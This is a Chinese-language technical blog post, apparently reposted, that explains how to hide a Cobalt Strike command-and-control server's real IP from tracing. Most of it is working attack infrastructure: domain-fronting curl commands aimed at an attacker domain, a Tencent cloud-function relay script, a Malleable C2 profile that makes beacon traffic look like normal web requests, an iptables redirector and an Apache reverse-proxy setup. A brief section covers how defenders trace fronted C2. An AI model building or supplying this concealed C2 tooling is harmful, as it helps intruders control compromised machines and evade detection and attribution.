大家好,欢迎来到IT知识分享网。
文章目录
域前置-CDN隐藏C2真实IP 防止被溯源
国内外云服务上大部分已经不支持域前置了,作者在阿里云刚刚复现成功…… 这里做简单的流程演示和相关的溯源分析
什么是域前置
条件
原理
注意上图中填写的host Header 部分 cs.whgojp.top 单次请求类似于下方
curl -v -H "host:cs.whgojp.top" https://www.baidu.com
curl -v host:cs.whgojp.top
cs.whgojp.top代表着我们的恶意站点,www.baidu.com就是同服务器上的其它一个高可信站点,利用域前置,审查流量时显示的就是高可信域名,而看不到我们的恶意域名,所以可用来逃避流量审查,隐藏真实IP。
完整复现
复现成功 之前复现的时候反查ip啥也没查出来(平台问题),今天又试了试,换了好几家平台,终于成功了
这里使用的是奇安信态势感知平台进行ip反查域名
这里我没有找到信誉特别高的域名,而且几乎所有的域名后都加了w.kunlunaq.com 后缀(不知道这是不是什么防御措施)
这里找到一个不带后缀的域名
curl -v -H "host:cs.whgojp.top" https://cdn.jijyun.cn #不知名网站 凑合复现
成功就解析到cs.whgojp.top页面上,也就是说存在域前置(阿里云还是可以使用域前置技术的)
进行简单上线,抓包分析,成功复现!!!
而且这里的外联IP和云函数一样不停的在变化。
试想一下:域前置+修改CS profile原生特征(header字段 心跳包频率 ssl证书等)+傀儡机代理+域名不备案(别人的域名)+等等等等
这怎么溯源?
这里简单分析一下上线流量数据包
这加密后的https啥也看不出来啊……
域前置溯源
前几天面试问到了使用了域前置怎么溯源? emmm
这里拿自己生成的样本payload进行简单溯源
条件:样本Payload,
通过Banner信息测绘与基于样本通信特征扫描的方式获取域前置的真正Host
1、根据已经拿到的资产获取Web指纹(开放的服务及版本、端口等)、Banner信息,分析获取测绘特征。
2、根据测绘特征在Zoomeye、Fofa、Shodan等平台搜索,通过时间、地区等条件初步筛选,获得资产列表,这个列表可能很大。
3、通过分析样本,获取通信特征(Uri、回包大小、Header等)向资产列表发通信包,动态过滤;根据已有资产规则(IP段分布、IDC服务商、域名构造特征、证书服务商等)人工静态过滤,得到较精确的网络资产列表。
节选自:https://www.anquanke.com/post/id/#h2-10
DNS协议-域名记录解析
1、域名解析设置A,NS记录
ns1 ns cs.xxx.com ns2 ns cs.xxx.com cs A xx.xx.xx.xx(CS的IP)
ns1.xxx.com ns2.xxx.com
云函数-腾讯云操作
#-*- coding: utf8 -*- import json,requests,base64 def main_handler(event, context): C2='https://XXXX' # 修改为自己C2服务器地址 path=event['path'] headers=event['headers'] print(event) if event['httpMethod'] == 'GET' : resp=requests.get(C2+path,headers=headers,verify=False) else: resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False) print(resp.headers) print(resp.content) response={
"isBase64Encoded": True, "statusCode": resp.status_code, "headers": dict(resp.headers), "body": str(base64.b64encode(resp.content))[2:-1] } return response
set sample_name "t"; set sleeptime "3000"; set jitter "0"; set maxdns "255"; set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)"; http-get {
set uri "/api/x"; client {
header "Accept" "*/*"; metadata {
base64; prepend "SESSIONID="; header "Cookie"; } } server {
header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Server" "Nodejs"; output {
base64; print; } } } http-stager {
set uri_x86 "/vue.min.js"; set uri_x64 "/bootstrap-2.min.js"; } http-post {
set uri "/api/y"; client {
header "Accept" "*/*"; id {
base64; prepend "JSESSION="; header "Cookie"; } output {
base64; print; } } server {
header "Content-Type" "application/ocsp-response"; header "content-transfer-encoding" "binary"; header "Connection" "keep-alive"; output {
base64; print; } } }
这里不做云函数相关配置演示
6、启动CS加载profile
./teamserver IP 密码 xxx.profile
云函数隐藏真实IP上线
云函数如何溯源
最近面蓝护,学到什么都要想一想怎么溯源
篇幅过长,放在了下篇文章了……
端口转发-Iptables
1、转发机设置转发:(80改443即https)这里我使用同C段下kali进行转发
iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 47.94.130.42:80 iptables -t nat -A POSTROUTING -j MASQUERADE iptables -I FORWARD -j ACCEPT iptables -P FORWARD ACCEPT sysctl net.ipv4.ip_forward =1
2、CS监听器配置转发机IP
CS新建监听器10.10.10.146
上线之后,其实只是做了一个简单的流量转发,IP封掉就下线
中间件反向代理-Apache
1、代理机安装Apache:
apt-get install apache2 a2enmod proxy proxy_ajp proxy_balancer proxy_connect proxy_http systemctl restart apache2 /etc/apache2/sites-enabled/000-default.conf
2、中间件设置转发:
http: ProxyPass "/" "http://CS的IP/" ProxyPassReverse "/" "http://CS的IP/" https: ProxyPass "/" "https://CS的IP/" ProxyPassReverse "/" "https://CS的IP/"
3、重启Apache服务
service apache2 restart
可以看到这里正常上线,也是简单的进行流量代理,这里我把上面的iptables转发配置清空了,避免干扰
注:
免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/126840.html